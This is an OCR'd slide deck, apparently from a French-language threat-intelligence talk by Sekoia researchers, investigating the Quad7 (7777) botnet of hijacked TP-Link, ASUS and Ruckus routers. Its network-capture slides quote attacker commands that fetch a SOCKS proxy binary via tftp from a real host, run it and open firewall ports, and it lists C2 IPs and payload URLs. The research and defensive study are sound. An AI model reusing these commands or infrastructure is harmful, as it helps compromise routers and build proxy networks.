Q
O,
K

Quad?7:L’enquéte! %

6 -' Félix Aimé Nl Charles Meslay sekoia
4




Publication originale

The curious case of the 7777-Botnet

Gi7wOrm - Follow

N

Hello there and welcome back again to yet another blog post. Today, I am

reporting on something I have been investigating for a while now. An
alledged botnet which at its peak included more than 16.000 infected devices
has been observed in targeted attacks in the US, UK, and France. There is
even a link to organized cybercrime. But in the end, it still remains a

mystery...
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Publication originale

In recent months an unknown botnet has been observed brute forcing
Microsoft Azure instances via Microsoft Azure PowerShell bruteforcing. The
botnet has a unique pattern of opening port 7777 on infected devices,
returning an “xlogin:” message. The botnet has been used for low-volume

attacks against targets of all industry sectors at a global scale, almost

exclusively targeting C-Level employee logins. Due to the very low volume of

around 2-3 login requests per week, the botnet is able to evade most security

< 176.96.34.210 (host34-210.toop.pl)
GART-AS (197956) Kujawsko-Pomorskie, Poland

network-administration ) ( remote-access

1 Matched Service
11288/SOCKS

1 Other Service
7777/TELNET
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Publication originale
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Among others, we identified HKVision software, Software related to TP-Link
Routers, and Dahua digital video recorders. One of the most affected devices

seems to be the TL-WR841N router which accounts for most of the infected

devices in Bulgaria. We were able to identify that one of Bulgaria’s largest
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Liste de questions

> Quels appareils sont compromis ?

> Comment sont-ils compromis ?

> Quelles sont les finalités de “xlogin” et du proxy socks ?
> Comment ce botnet est administré ?

> D'autres campagnes sont-elles liées cet acteur ?
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Identification des appareils compromis
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Identification des appareils

Ports 0
80 : TP-LINK m™ _ | = -
8443 : NAS | |
8080 : DVR e —— =
TP-LINK WR841N - (l: )
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Identification des appareils

Ports c

80 : TP-LINK ~ o _ | - -

8443 : NAS | |

8080 : DVR e

7777 : Xlogin 'i'

11288 : Socks TP-LINK WR841N 5 ( @
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Identification des appareils

La question:

Sur quel appareil xlogin et socks s’exécutent-ils ?

Ports c

80 : TP-LINK ~ o _ | - -

8443 : NAS | |

8080 : DVR e

7777 : Xlogin 'i'

11288 : Socks TP-LINK WR841N 5 ( @
g::v;)orzrg blogpost Bttr)igggz & Devices id.

2023 2024 2025



Identification des appareils

La réponse:

Les tailles de fenétre TCP des paquets émis par I'adresse IP distante. Si les
ports sont redirigés vers d'autres hoétes, la taille de la fenétre TCP *peut*
différer.

Ports =
80 : TP-LINK 5840 N NN - -
8443 : NAS | I

8080 : DVR 14600 o I

7777 : Xlogin 'i'
11288 : Socks TP-LINK WR841N

@
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Identification des appareils

La réponse:

Les tailles de fenétre TCP des paquets émis par I'adresse IP distante. Si les
ports sont redirigés vers d'autres hoétes, la taille de la fenétre TCP *peut*
différer.

Ports =
80 : TP-LINK 5840 o~ ‘i S B B
8443 : NAS | I

8080 : DVR 14600 =

7777 : Xlogin 5840 — 'i'
11288 : Socks 5840 TP-LINK WR841N

@
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Number of devices

6000

4000

2000

Analyse des tailles de fenétre de 6763 appareils compromis

5840 5760 5680 5808 5728 65504 5440 5520 7300 5656 5792 5720 5800 5408 5688 5696 5824 64800 6885 12780 15349 26983 4752 5424 5491 5552 5576 5600 5640 5648 5672

TCP Window Size
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Nos suspects, des routeurs TP-LINK
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Identification des appareils

La question:

Pourquoi certains ont parlé de NAS et de DVR ?

Ports 0

80 : TP-LINK 5840 i ‘i — B B

8443 : NAS | |

8080 : DVR 14600 e

7777 : Xlogin 5840 'i'

11288 : Socks 5840 TP-LINK WR841N > (@)
g::v;)orzrg blogpost Bttr)igggz & Devices id.
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Identification des appareils

La réponse:

Les opérateurs éteignent l'interface d’administration
apres avoir compromis le routeur.

— {5
Ports 0
8443 : NAS
8080 : DVR 14600 s
7777 : Xlogin 5840 'i'
11288 : Socks 5840
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Comment sont-ils compromis?
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Hacky-Hardware honeypot
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Utilisation de scapy comme “NIDS"”

12 bytes_pkt = pkt[Raw].load

i/ /" in bytes_pkt or b"s " in bytes_pkt:

Comme I'administration du routeur

” oMo P L message i message + "IP source:" + pkt[IP].src + "\n"
1¢ = + "Payload:\n"

écoute sur HTTP, on a utilisé scapy sur peseade - nessage + " Anr

7’ 20 message = message + bytes pkt

notre sonde réseau pour:
23 headers = { 'Authorization': 'Bearer ;)' }
24 to_post = { 'channel_id': "zcaz9jjdjbyqddkig6yw6zpc7e", 'message

requests.post("https:// ‘posts", headers

= 4 H ;;
- Etre qlerte d une tentqtlve 27 if re.match(b"GET /([A-Z]{16}/userRpm/).*", bytes_pkt) and not b"/St

"### Possible exploitation / reco attempt\n"

4 I = “ 29 message =
d exp Oltqtlon. 30 message = message + "IP source: " + pkt[IP].src + "“\n"
3 message = message + "Payload:\n"
32 message = message + " " °\n"
message = message + bytes_pkt
° 7 34 message = message + " "\n"
Alder I qttqquqnt en Chqngeqnt headers = { 'Authorization': 'Bearer ;)' }
i to_post = { 'channel_id': "zcaz9jidibyaddkig6yw6zpc7e", 'message

son mot de passe par le bon lors de ;5; it o oy
ses tentatives de connexion. e e

try:
nfqueue = NetfilterQueue()
nfqueue.bind(0, process_packet)
nfqueue.run()

except KeyboardInterrupt:
nfqueue.unbind()
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Utilisation d’UART

Nous avons utilisé UART pour
superviser des modifications sur le
systeme:

- L'ajout et la modification de
fichiers sous /tmp/ a I'aide d'un
simple 1s -al récursif.

- Supervision des processus
exécutés par un simple ps.
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ser = serial.Serial(
port="'/dev/ttyusBo"',
baudrate=115200,
timeout=1

)

if ser.isOpen():
while True:
command = f'ps -aux\n'.encode()
ser.write(command)
time.sleep(.3)
response = ser.read_all()

lines = response.decode("utf8").strip().split("\n")
commands = []
for line in lines:
parts = line.split(maxsplit=4)
if len(parts) == 5:
command = parts[4]
commands .append (command)

commands = list(set(commands))
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Bonjour Enigmatic DropBear !

Unauth. Remote file disclosure + Auth. cmd. injection.
(Maintenant connue sous la CVE-2023-44447)

Lancement de dropbear.
Transfert de busybox, et... rien d’autre.
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Apres trois mois d'attente...
Pas de traces de Quady?.
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Pourquoi ?

Les opérateurs ne semblent pas mettre a jour leur liste de cibles
avec de nouvelles adresses IP.
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Plan B: Aller chez une victime.
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Plan B: Aller chez une victime.

> Trouver et convaincre une victime en France ;
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Plan B: Aller chez une victime.

> Trouver et convaincre une victime en France ;
> Mettre une sonde réseau devant son routeur ;
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Plan B: Aller chez une victime.

> Trouver et convaincre une victime en France ;
> Mettre une sonde réseau devant son routeur ;

> Intervenir pour récupérer les codes malveillants.
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Identification des victimes

Sur dix victimes en France trois ont été identifiées:

> La premiére identifiée a I'aide d’un site internet pointant vers
son routeur. Aucune réponse.

> La seconde a transféré notre email a son client... qui ne nous
a jamais répondu et a remplacé son routeur.

> La troisiéme était trés intéressée par notre investigation et
nous a permis d’'intervenir chez un de ses clients, youpi.
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Sonde réseau

Sonde réseau plug and play réalisé a l'aide
d’'un simple Raspberry Pi surveillant les ports:

> 7777 : Xlogin
> 11288 : Socks proxy
> 81: Administration TP-LINK

@reboot /bin/bash -c ‘sleep 60 && UUID=$ (uuidgen) &&
/usr/bin/tcpdump -i br0 "port 81 or port 7777 or
port 11288" -w /home/tap/capture ${UUID}.pcap

’ >> /home/tap/tcpdump.log 2>&1
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Préparation

Nous savions que le routeur a investiguer était un Archer C7.
Nous avons donc acheté deux routeurs pour nos tests.

GitwOrm blogpost Intrinsec & Devices id.
F

Oct 2023

"

Archer C7(EV) version 2.0
(UART authentifié)

Hardware honeypot
Feb & March 2024

eb 2024

Archer C7(EVU) version 5.0

(UART non authentifié + RCE via réseau local)
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Préparation

Nous avons décidé quelques jours avant
I'intervention de développer notre propre

“porte dérobée”.

Le but final était de pouvoir pré-implanter
le routeur si ce dernier venait a étre
redémarré durant I'opération afin de
récupérer les codes.

GitwOrm blogpost
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def

def ma

t socket

t hashlib

t datetime

[C0S:

t sys

xor_encrypt_decrypt(data, key):
return bytes([b ~ (key % 256) for b in data])

(OF

if len(sys.argv) > 1 and "--rescue" in sys.argv[1]:

SERVER_PORT = 34321

BUFFER_SIZE = 1024

SESSION_FILE = "listener_rescue.log"
else:

SERVER_PORT = 23412

BUFFER_SIZE = 1024

SESSION_FILE = "listener_default.log"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('', SERVER_PORT))
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.listen(1)

print(f"Welcome to the 7777 Q buster.")

conn, addr = server.accept()
print(f"Connection from {addr[0]}")

try:
while

while
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Intervention

TAP réseau
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Intervention

Default states (ps, dirs...)

Le shell obtenu étant un shell restreint via BusyBox, il ne nous
de déterminer, via un ouun
est possible de compiler un binaire Isof en MIPS et l'envoyer au routeur pour exécution. A voir si

quel processus é

cette stratégie n'est pas trop gourmande en temps.
si base uniquement sur les fichiers, nous devrons donc effectuer une comparaison (diff)
entre les processus la le routeur compromis et ceux lancés sur un routeur sain
Voici des images de processus toumants sur un 2.0 et 5.0 et fichiers présents dans le répertoire
tmp! avec les dates de demiére modification
I est possible que cette simple comparaison ne suffise pas. Cependant, la plupart des
menaces I0Ts ne cherchent pas & se dissimuler une fois avoir compromis I0T.

Archer C7 2.0

hostapd -B /tmp/topology_athe.conf

(0) sekoia |

1s -al /tmp/
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
SFWXF=XF=X

SFWXF=Xr-X
-rw-r--r--
SFWXF-Xr-X
drwxr-xr-x
r--
re-
re-
r--
drwxr-xr-x
~FWXTWXIWX
~FWXPWXIWX

drwxr-xr-x
drwxr-xr-x
-rw-r--r--
SFWXF=XF =X
SFWXr-Xr-X
SFWXF-Xr-X
SPWXF=XF=X
drwxr-xr-x
=FWXPWXIWX

10
15
2

L]
]
L]
]
L]
L]
]
L]
L]
]
L]
]
L]
L]
]
L]
L]
]
L]
]
L]
L]
]
L]
]
(]
L]
]
L]
L]
L]
L]
]
L]
L]
]
L]
]

30

114964
118052
1437

36

client_dhcpéec
client_dhcpe
client_httpd

core
dec-model.conf

dev

dhcpée. conf
dhcpée.pid
dhepbe_duid
dropbear
hostapd.eap_user
hostapd_5G.eap_user
httpd_ready

ipe

logger.text
manual_handle_card
mediaserver

passwd

pipe_mud89
resolv.conf
resolv.ipv6.conf
samba

socks5

telnetd
topology_5G_ath1.conf
topology_ath@.conf
usbdisk

vsftp
wlanstaticcfg
wpa_ctrl_73-1
wpa_ctrl_73-2
wpa_ctrl_73-3
wpa_ctrl_73-4
wr84in

xlogin

Hunting for malicious files and processes

Stat Command

S

SW<
SW<
SW<

Sh<
SW<
SW<
SW<

init
[kthreadd]
[ksoftirqd/e]
[events/@]

[kswapd@ ]

[aio/0]

[mtdblockd]

[unlzma/@]

/usr/bin/uclited

ipcserver

syslogd -C -1 7

klogd

[napt_ct_scan]

/sbin/udhcpc -h Archer_C7 -i eth8.2 -p /tmp/wr841n/ud
/sbin/udhcpc -h Archer_C7 -i eth8.2 -p /tmp/wr841n/ud
/usr/sbin/udhcpd /tmp/wr841n/udhcpd.conf

hostapd -B /tmp/topology_ath8.conf

hostapd -B /tmp/topology_5G_ath1.conf

tphotplug -u 2

tphotplug -u 2

tphotplug -u 2

[khubd]

[ telnetDBGD ]

[ acktelnetDBGD |

[NU TCP]

[NV upP]

/usr/sbin/dnsproxy

/usr/sbin/dhcpéc -c /tmp/dhcpéc.conf -p /tmp/dhcpéc.p
/usr/sbin/dhcpée -c /tmp/dhcpéc.conf -p /tmp/dhcpéc.p
/usr/bin/11d2d br@ athe

/usr/bin/dropbear -p 22 -r /tmp/dropbear/dropbear_rsa
./telnetd -p 7777 -1 /tmp/xlogin

socks5 -a 8.0.8.8 -u [redacted] -k [redacted] -p 11288
-sh

tphotplug -u 2

ps w
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Intervention

Welcome to the 7777 \¢ buster.

Connection from

root@__ Redacted ) @ download /tmp/telnetd

File /tmp/telnetd downloaded successfully and renamed downloads/386bf8259668c0abb6c72fdcae904164_tmp_telnetd

root@__ Redacted ) @ download /tmp/socks5

File /tmp/socks5 downloaded successfully and renamed downloads/29e6df5bb30ed8fd12c09d9b6890abaf_tmp_socks5
root@  Redacted ) & download /tmp/xlogin

File /tmp/xlogin downloaded successfully and renamed downloads/69ced04a2ec895084d3aab1086216d32_tmp_xlogin
root@__Redacted ] @[l
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Rev3rsing
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Rev3rsing

%0e
/@%J
0% (D
0$0B
G@#)

hlLjztqgZ
npxXoudifFeEgGaACScs

+0-#'1
Unknown error

1"N.Y1]Z
#$%&" ()*+,234567
; <=>?@ABCDEFGJIMOPQRSTUVWX [\"_"abcxyz{ |}~
Success
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Analyse de la capture réseau

seKkoida | Quad7 network interactions involving the compromised router

HOSTWINDS, US (AS54290)

23.254.201175 142.11.205.164

M247, RO (AS9009)

151.236.20.185 151.236.20.211

[TFTP SERVER]

login.microsoftonline.com

Bruteforce Q w
\,
o=

Compromised router monitored
by our network tap

whatismyip.akamai.com
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Analyse de la capture réseau

seKkoida | Quad7 network interactions involving the compromised router

HOSTWINDS, US (AS54290)
Pass123

BusyBox v1.01 (2015.09.28-09:17+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
23.254.201.175 142.11.205.164
# cd /tmp/
cd /tmp/
# export PATH=/tmp/:$PATH
export PATH=/tmp/:$PATH
# rm -rf socksS
M247, RO (AS9009) - rm -rf socks5
( # tftp -r socks5 -g 103.57.248.53
tftp -r socks5 -g 103.57.248.53
d # chmod 777 socks5
chmod 777 socks5
# socks5 -a 0.0.0.0 -u -p 11288 -d a
socks5 -a 0.0.0.0 -u -p 11288 -d a
151.236.20.185 151.236.20.211 # iptables -I INPUT -p tcp --dport 11288 -j ACCEPT
e iptables -I INPUT -p tcp --dport 11288 -j ACCEPT
# iptables -I INPUT -p tcp --dport 11288 -j ACCEPT
iptables -I INPUT -p tcp --dport 11288 -j ACCEPT

===
==
== &
==

Bruteforce

[TFTP SERVER]
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La galaxie Quad?



Apres une premiére publication...

alogin :
ff17e9bc[...]8a35b2c

(Redacted]

Hébergé sur

http://103.57.248.237 / /alogin
http://45.77.44.119 / /alogin
http://158.247.194.125 / /alogin
http://103.140.239.63 / /alogin
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Quelques pivots...

http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:

//[IP]/mips/microso
//[IP]/arm/microso
//[IP]/mipsel/microso
//[IP]/mips/xrlogin
//[IP]/mips/alogin
//[IP]/arm/alogin
//[IP]/mipsel/alogin
//1IP]/Ruckus/
//[IP]/asus/
//[IP]/ASUS/axm/
//[IP]/ASUS/mipsel/
//[IP]/ASUS/
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Quelques pivots...

http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:

//[IP]/mips/microso
//[IP]/arm/microso
//[IP]/mipsel/microso
//[IP]/mips/xrlogin
//[IP]/mips/alogin
//[IP]/arm/alogin
//[IP]/mipsel/alogin
//1IP]/Ruckus/
//[IP]/asus/
//[IP]/ASUS/axm/
//[IP]/ASUS/mipsel/
//[IP]/ASUS/

+ Scan d’AS + Brute Force d’'URL
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Quelques pivots...

http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:

//[IP]/mips/microso
//[IP]/arm/microso
//[IP]/mipsel/microso
//[IP]/mips/xrlogin
//[IP]/mips/alogin
//[IP]/arm/alogin
//[IP]/mipsel/alogin
//1IP]/Ruckus/
//[IP]/asus/
//[IP]/ASUS/axm/
//[IP]/ASUS/mipsel/
//[IP]/ASUS/

103.57.248.237
45.77.44.119

158.247.194.125 n Serveurs sur VT

103.140.239.63

158.247.194.125
45.77.44.119 Y
151.236.20.30
103.140.239.63
103.57.248.202
151.236.20.171
103.57.248.237
103.57.248.63

B Servers aprés notre scan
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L

L4+t ALy AL Y2
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:
http:

//[IP]/axm/tcpdump
//[IP]/arm/nohup
//[IP]/arm/load
//[IP]/arm/curl
//[IP]/mips/xrlogin
//[IP]/mips/alogin
//[IP]/axm/rlogin
//[IP]/mipsel/alogin
//[IP]/mipsel/xrlogin
//[IP]/arm/alogin
//[IP]/test
//[IP]/mips/m
//[IP]/main
//[IP]/axrm/kill.sh
//[IP]/arm/tcpdump.sh
//[IP]/axchive.tgz
//[IP]/x.sh
//[IP]/c.php
//[IP]/f.php
//[IP]/exec.sh
//[IP]/ASUS/arm/
//[IP]/ASUS/mipsel/
//[IP]/ASUS/
//[IP]/Ruckus/
//TIP]/

GitwOrm blogpost
Oct 2023

Utilitaires

*login bind shells

Reverse shell

Fichiers attaquant
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Netd

Permet de rejoindre un réseau de confiance basé sur cjdns

cjdns:
- Projet open source
- réseau IPv6, UDP
- chiffré et décentralisé

Role de netd :
- générer le matériel cryptographique
- envoi des informations au C2 pour rejoindre le réseau de
confiance
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Netd , archiveio: §

Extraire i archive.tgz (@ = = o x

6t | Emplacement: FJ /ASUS/

> Récupération d’'une archive avec toutes - e
les configurations chiffrées .
> +1000 routeurs Asus -

ys.dat
retd.dat

s.dat
:td.dat
ys.dat
retd.dat
-sys.dat

+1000 routeurs ASUS
compromis par netd

newuuat
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Deuxiéme implant: FSY

O LT Uh‘Kus B
b 211,54, 235, yyy <15 - C650g
h4l\1f()}|- L 5- X)(X ru k ; ‘3
" 126,186,178 wyy o
MATCH: 115, 04, 150y LOHIRS
. e ° ° ; 5 ' XXX r i .
> Gestion d'un réseau d’anonymisation mTCH- 14,41, 72,0, ey
TCH: 14.41 7 < - Oda488a4
v 14.42.,72 %k 5
MATCH: 175 ks
Z c r +99.175.XXX, ruckus - 3d786878¢
> Création d'un scanner MATCH: 119.205.92.XXX, ruckus - bfa7eaars
MATCH: 222.109.247.XXX, ruckus - 3c456945
) ) . MATCH: 190.5.84.XXX, ruckus - e94dbc4d526
> Déployé sur des appareils Ruckus MATCH: 14.41.72.XXX, ruckus - 2eac7bacs2e
MATCH: 119.205.92.XXX, ruckus - 5a9b0fob53
MATCH: 220.94,227.XXX, ruckus - 64bb31bb52
: : 5.92. XXX, ruckus - 7720222052
MATCH: 119.205. 5. XXX, ruckus - 268c7bc52
MATCH: 1785.980,488: wx. ruckus - 394164152
. 68,173,162 XXX, . 663c333C57
MATCH- 95 XXX, ruckus -
TCH: 342218 AFR T iokus - searedars?
MA 08 138'28.XXXI e 0d4e554e52—
MATCH: 2 527,219 XXX, U8 g . a473f173520
MATCH: ii;-zs 4 XX ru:(?:l‘;‘ : gse'zzsszgg
' ' uc 1be
\MATCH. ca 220 69'XXX,,\': cuckus © 94bef=nﬁﬁ
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Une menace a multiples s/facettes/ botnets/g

xlogin

alogin

axlogin

zylogin rlogin

D @S G BT GEED GEED GEED

Proxy
bindshell

Bruteforce
against M365
VIPs accounts

and more
broader since

June.

Proxy
bindshell
netd

Telnet & SSH
bruteforce
attempts
(possibly from
another actor)

Bindshell

Bindshell Not seen Not seen Not seen
FsyNet ITW ITW ITW
Unknown Unknown Unknown Unknown Unknown



Conclusion

Toujours pas d'exploitation observée sur les
TP-LINK, mais on a notre petite idée.

Au final, c’était “marrant”.

Quad7 un acteur parmi d’autres suivi par
Sekoia faisant des réseaux d’'ORBs.
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Questions ?

‘ w Félix Aimé Nl Charles Meslay sekoia
2




lls sont toujours 1 ;]
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